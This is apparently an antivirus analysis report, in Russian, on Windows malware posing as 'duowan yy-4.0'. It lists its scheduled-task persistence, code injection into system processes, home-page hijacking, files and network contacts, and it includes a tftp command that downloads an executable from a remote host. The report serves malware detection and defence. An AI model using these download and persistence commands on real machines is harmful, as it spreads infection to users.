Техническая информация
Для обеспечения автозапуска и распространения:
Создает или изменяет следующие файлы:
- %WINDIR%\Tasks\At154.job
- %WINDIR%\Tasks\At153.job
- %WINDIR%\Tasks\At152.job
- %WINDIR%\Tasks\At155.job
- %WINDIR%\Tasks\At158.job
- %WINDIR%\Tasks\At157.job
- %WINDIR%\Tasks\At156.job
- %WINDIR%\Tasks\At147.job
- %WINDIR%\Tasks\At146.job
- %WINDIR%\Tasks\At145.job
- %WINDIR%\Tasks\At148.job
- %WINDIR%\Tasks\At151.job
- %WINDIR%\Tasks\At150.job
- %WINDIR%\Tasks\At149.job
- %WINDIR%\Tasks\At168.job
- %WINDIR%\Tasks\At167.job
- %WINDIR%\Tasks\At166.job
- %WINDIR%\Tasks\At169.job
- %WINDIR%\Tasks\At172.job
- %WINDIR%\Tasks\At171.job
- %WINDIR%\Tasks\At170.job
- %WINDIR%\Tasks\At161.job
- %WINDIR%\Tasks\At160.job
- %WINDIR%\Tasks\At159.job
- %WINDIR%\Tasks\At162.job
- %WINDIR%\Tasks\At165.job
- %WINDIR%\Tasks\At164.job
- %WINDIR%\Tasks\At163.job
- %WINDIR%\Tasks\At144.job
- %WINDIR%\Tasks\At125.job
- %WINDIR%\Tasks\At124.job
- %WINDIR%\Tasks\At123.job
- %WINDIR%\Tasks\At126.job
- %WINDIR%\Tasks\At129.job
- %WINDIR%\Tasks\At128.job
- %WINDIR%\Tasks\At127.job
- %WINDIR%\Tasks\At118.job
- %WINDIR%\Tasks\At117.job
- %WINDIR%\Tasks\At116.job
- %WINDIR%\Tasks\At119.job
- %WINDIR%\Tasks\At122.job
- %WINDIR%\Tasks\At121.job
- %WINDIR%\Tasks\At120.job
- %WINDIR%\Tasks\At139.job
- %WINDIR%\Tasks\At138.job
- %WINDIR%\Tasks\At137.job
- %WINDIR%\Tasks\At140.job
- %WINDIR%\Tasks\At143.job
- %WINDIR%\Tasks\At142.job
- %WINDIR%\Tasks\At141.job
- %WINDIR%\Tasks\At132.job
- %WINDIR%\Tasks\At131.job
- %WINDIR%\Tasks\At130.job
- %WINDIR%\Tasks\At133.job
- %WINDIR%\Tasks\At136.job
- %WINDIR%\Tasks\At135.job
- %WINDIR%\Tasks\At134.job
- %WINDIR%\Tasks\At211.job
- %WINDIR%\Tasks\At210.job
- %WINDIR%\Tasks\At209.job
- %WINDIR%\Tasks\At212.job
- %WINDIR%\Tasks\At215.job
- %WINDIR%\Tasks\At214.job
- %WINDIR%\Tasks\At213.job
- %WINDIR%\Tasks\At204.job
- %WINDIR%\Tasks\At203.job
- %WINDIR%\Tasks\At202.job
- %WINDIR%\Tasks\At205.job
- %WINDIR%\Tasks\At208.job
- %WINDIR%\Tasks\At207.job
- %WINDIR%\Tasks\At206.job
- %WINDIR%\Tasks\At225.job
- %WINDIR%\Tasks\At224.job
- %WINDIR%\Tasks\At223.job
- %WINDIR%\Tasks\At226.job
- %WINDIR%\Tasks\At229.job
- %WINDIR%\Tasks\At228.job
- %WINDIR%\Tasks\At227.job
- %WINDIR%\Tasks\At218.job
- %WINDIR%\Tasks\At217.job
- %WINDIR%\Tasks\At216.job
- %WINDIR%\Tasks\At219.job
- %WINDIR%\Tasks\At222.job
- %WINDIR%\Tasks\At221.job
- %WINDIR%\Tasks\At220.job
- %WINDIR%\Tasks\At201.job
- %WINDIR%\Tasks\At182.job
- %WINDIR%\Tasks\At181.job
- %WINDIR%\Tasks\At180.job
- %WINDIR%\Tasks\At183.job
- %WINDIR%\Tasks\At186.job
- %WINDIR%\Tasks\At185.job
- %WINDIR%\Tasks\At184.job
- %WINDIR%\Tasks\At175.job
- %WINDIR%\Tasks\At174.job
- %WINDIR%\Tasks\At173.job
- %WINDIR%\Tasks\At176.job
- %WINDIR%\Tasks\At179.job
- %WINDIR%\Tasks\At178.job
- %WINDIR%\Tasks\At177.job
- %WINDIR%\Tasks\At196.job
- %WINDIR%\Tasks\At195.job
- %WINDIR%\Tasks\At194.job
- %WINDIR%\Tasks\At197.job
- %WINDIR%\Tasks\At200.job
- %WINDIR%\Tasks\At199.job
- %WINDIR%\Tasks\At198.job
- %WINDIR%\Tasks\At189.job
- %WINDIR%\Tasks\At188.job
- %WINDIR%\Tasks\At187.job
- %WINDIR%\Tasks\At190.job
- %WINDIR%\Tasks\At193.job
- %WINDIR%\Tasks\At192.job
- %WINDIR%\Tasks\At191.job
- %WINDIR%\Tasks\At115.job
- %WINDIR%\Tasks\At39.job
- %WINDIR%\Tasks\At38.job
- %WINDIR%\Tasks\At37.job
- %WINDIR%\Tasks\At40.job
- %WINDIR%\Tasks\At43.job
- %WINDIR%\Tasks\At42.job
- %WINDIR%\Tasks\At41.job
- %WINDIR%\Tasks\At32.job
- %WINDIR%\Tasks\At31.job
- %WINDIR%\Tasks\At30.job
- %WINDIR%\Tasks\At33.job
- %WINDIR%\Tasks\At36.job
- %WINDIR%\Tasks\At35.job
- %WINDIR%\Tasks\At34.job
- %WINDIR%\Tasks\At53.job
- %WINDIR%\Tasks\At52.job
- %WINDIR%\Tasks\At51.job
- %WINDIR%\Tasks\At54.job
- %WINDIR%\Tasks\At57.job
- %WINDIR%\Tasks\At56.job
- %WINDIR%\Tasks\At55.job
- %WINDIR%\Tasks\At46.job
- %WINDIR%\Tasks\At45.job
- %WINDIR%\Tasks\At44.job
- %WINDIR%\Tasks\At47.job
- %WINDIR%\Tasks\At50.job
- %WINDIR%\Tasks\At49.job
- %WINDIR%\Tasks\At48.job
- %WINDIR%\Tasks\At29.job
- %WINDIR%\Tasks\At10.job
- %WINDIR%\Tasks\At9.job
- %WINDIR%\Tasks\At8.job
- %WINDIR%\Tasks\At11.job
- %WINDIR%\Tasks\At14.job
- %WINDIR%\Tasks\At13.job
- %WINDIR%\Tasks\At12.job
- %WINDIR%\Tasks\At3.job
- %WINDIR%\Tasks\At2.job
- %WINDIR%\Tasks\At1.job
- %WINDIR%\Tasks\At4.job
- %WINDIR%\Tasks\At7.job
- %WINDIR%\Tasks\At6.job
- %WINDIR%\Tasks\At5.job
- %WINDIR%\Tasks\At24.job
- %WINDIR%\Tasks\At23.job
- %WINDIR%\Tasks\At22.job
- %WINDIR%\Tasks\At25.job
- %WINDIR%\Tasks\At28.job
- %WINDIR%\Tasks\At27.job
- %WINDIR%\Tasks\At26.job
- %WINDIR%\Tasks\At17.job
- %WINDIR%\Tasks\At16.job
- %WINDIR%\Tasks\At15.job
- %WINDIR%\Tasks\At18.job
- %WINDIR%\Tasks\At21.job
- %WINDIR%\Tasks\At20.job
- %WINDIR%\Tasks\At19.job
- %WINDIR%\Tasks\At96.job
- %WINDIR%\Tasks\At95.job
- %WINDIR%\Tasks\At94.job
- %WINDIR%\Tasks\At97.job
- %WINDIR%\Tasks\At100.job
- %WINDIR%\Tasks\At99.job
- %WINDIR%\Tasks\At98.job
- %WINDIR%\Tasks\At89.job
- %WINDIR%\Tasks\At88.job
- %WINDIR%\Tasks\At87.job
- %WINDIR%\Tasks\At90.job
- %WINDIR%\Tasks\At93.job
- %WINDIR%\Tasks\At92.job
- %WINDIR%\Tasks\At91.job
- %WINDIR%\Tasks\At110.job
- %WINDIR%\Tasks\At109.job
- %WINDIR%\Tasks\At108.job
- %WINDIR%\Tasks\At111.job
- %WINDIR%\Tasks\At114.job
- %WINDIR%\Tasks\At113.job
- %WINDIR%\Tasks\At112.job
- %WINDIR%\Tasks\At103.job
- %WINDIR%\Tasks\At102.job
- %WINDIR%\Tasks\At101.job
- %WINDIR%\Tasks\At104.job
- %WINDIR%\Tasks\At107.job
- %WINDIR%\Tasks\At106.job
- %WINDIR%\Tasks\At105.job
- %WINDIR%\Tasks\At86.job
- %WINDIR%\Tasks\At67.job
- %WINDIR%\Tasks\At66.job
- %WINDIR%\Tasks\At65.job
- %WINDIR%\Tasks\At68.job
- %WINDIR%\Tasks\At71.job
- %WINDIR%\Tasks\At70.job
- %WINDIR%\Tasks\At69.job
- %WINDIR%\Tasks\At60.job
- %WINDIR%\Tasks\At59.job
- %WINDIR%\Tasks\At58.job
- %WINDIR%\Tasks\At61.job
- %WINDIR%\Tasks\At64.job
- %WINDIR%\Tasks\At63.job
- %WINDIR%\Tasks\At62.job
- %WINDIR%\Tasks\At81.job
- %WINDIR%\Tasks\At80.job
- %WINDIR%\Tasks\At79.job
- %WINDIR%\Tasks\At82.job
- %WINDIR%\Tasks\At85.job
- %WINDIR%\Tasks\At84.job
- %WINDIR%\Tasks\At83.job
- %WINDIR%\Tasks\At74.job
- %WINDIR%\Tasks\At73.job
- %WINDIR%\Tasks\At72.job
- %WINDIR%\Tasks\At75.job
- %WINDIR%\Tasks\At78.job
- %WINDIR%\Tasks\At77.job
- %WINDIR%\Tasks\At76.job
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\Schedule] 'Start' = '00000002'
Вредоносные функции:
Создает и запускает на исполнение:
- '%WINDIR%\duowan\yy-4.0\duospeak.exe' start schedule
- '%WINDIR%\duowan\yy-4.0\duospeak.exe' /c C:\123.bat
- '%WINDIR%\duowan\yy-4.0\duospeak.exe' /pid=4860
- '%WINDIR%\duowan\yy-4.0\Start.exe' /pid=4884
- '%WINDIR%\duowan\yy-4.0\Start.exe' 10:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '%WINDIR%\duowan\yy-4.0\Start.exe'
- '%WINDIR%\duowan\yy-4.0\1E33333.exe'
- '%WINDIR%\duowan\yy-4.0\Windowsv1.1.exe'
- '%WINDIR%\duowan\yy-4.0\duospeak.exe' -l
Запускает на исполнение:
- '<SYSTEM32>\at.exe' 1:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 2:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 23:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 0:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\net1.exe' 12:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=5812
- '<SYSTEM32>\at.exe' -l
- '<SYSTEM32>\at.exe' /pid=5748
- '<SYSTEM32>\at.exe' /pid=5772
- '<SYSTEM32>\at.exe' 22:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\net1.exe' /pid=3412
- '<SYSTEM32>\at.exe' /pid=3440
- '<SYSTEM32>\sc.exe' /pid=192
- '<SYSTEM32>\net1.exe' 3:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 20:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 21:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\net1.exe' /pid=3240
- '<SYSTEM32>\sc.exe'
- '<SYSTEM32>\at.exe' /pid=3968
- '<SYSTEM32>\at.exe' /pid=5820
- '<SYSTEM32>\net1.exe' /pid=4116
- '<SYSTEM32>\at.exe' 4:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=3568
- '<SYSTEM32>\sc.exe' /pid=4404
- '<SYSTEM32>\at.exe' /pid=4588
- '<SYSTEM32>\at.exe' 5:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=4996
- '<SYSTEM32>\at.exe' /pid=5012
- '<SYSTEM32>\sc.exe' 4:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe'
- '<SYSTEM32>\at.exe' /pid=5948
- '<SYSTEM32>\net1.exe' /pid=5972
- '<SYSTEM32>\at.exe' /pid=5868
- '<SYSTEM32>\net1.exe' /pid=5924
- '<SYSTEM32>\at.exe' /pid=5996
- '<SYSTEM32>\net1.exe' 3:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=5732
- '<SYSTEM32>\at.exe' /pid=6016
- '<SYSTEM32>\sc.exe' /pid=6060
- '<SYSTEM32>\at.exe' /pid=3560
- '<SYSTEM32>\at.exe' 8:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 9:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 6:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 7:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 10:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 13:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 14:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 11:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 12:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 5:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\net1.exe' start schedule
- '<SYSTEM32>\at.exe' 0:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\cmd.exe' /c C:\123.bat
- '<SYSTEM32>\sc.exe' config Schedule start= AUTO
- '<SYSTEM32>\at.exe' 1:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\tftp.exe' -i 12.xide168.com get 20130529.exe
- '<SYSTEM32>\at.exe' 4:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 2:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 3:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=3040
- '<SYSTEM32>\at.exe' start schedule
- '<SYSTEM32>\at.exe' /pid=272
- '<SYSTEM32>\at.exe' 18:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=2868
- '<SYSTEM32>\at.exe' /pid=1352
- '<SYSTEM32>\at.exe' /pid=1372
- '<SYSTEM32>\net1.exe' config Schedule start= AUTO
- '<SYSTEM32>\net1.exe' 2:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 19:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=4008
- '<SYSTEM32>\at.exe' /pid=3136
- '<SYSTEM32>\at.exe' /pid=1496
- '<SYSTEM32>\at.exe' /c C:\123.bat
- '<SYSTEM32>\at.exe' 15:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\sc.exe' 9:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 17:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\net1.exe' /pid=3936
- '<SYSTEM32>\at.exe' 16:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=3696
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\net1.exe
- <SYSTEM32>\sc.exe
- <SYSTEM32>\at.exe
- <SYSTEM32>\net.exe
Без разрешения пользователя устанавливает новую стартовую страницу для Windows Internet Explorer.
Изменения в файловой системе:
Создает следующие файлы:
- %WINDIR%\duowan\yy-4.0\1E33333.exe
- %APPDATA%\duowan\yy\C__WINDOWS_duowan_yy-4.0_\LaunchTrace.log
- C:\123.bat
- %WINDIR%\duowan\yy-4.0\duospeak.exe
- %WINDIR%\duowan\yy-4.0\配置.ini
- %WINDIR%\duowan\yy-4.0\Windowsv1.1.exe
- %WINDIR%\duowan\yy-4.0\Start.exe
- %WINDIR%\duowan\yy-4.0\duoakcmd.exe
Удаляет следующие файлы:
- %APPDATA%\duowan\yy\C__WINDOWS_duowan_yy-4.0_\LaunchTrace.log
Сетевая активность:
Подключается к:
- 'localhost':1038
- '12.##de168.com':99
- 'localhost':1035
UDP:
- DNS ASK 12.##de168.com
Другое:
Ищет следующие окна:
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
- ClassName: 'START | A92539D5-6C41-4b8e-BF46-288D19E04799' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
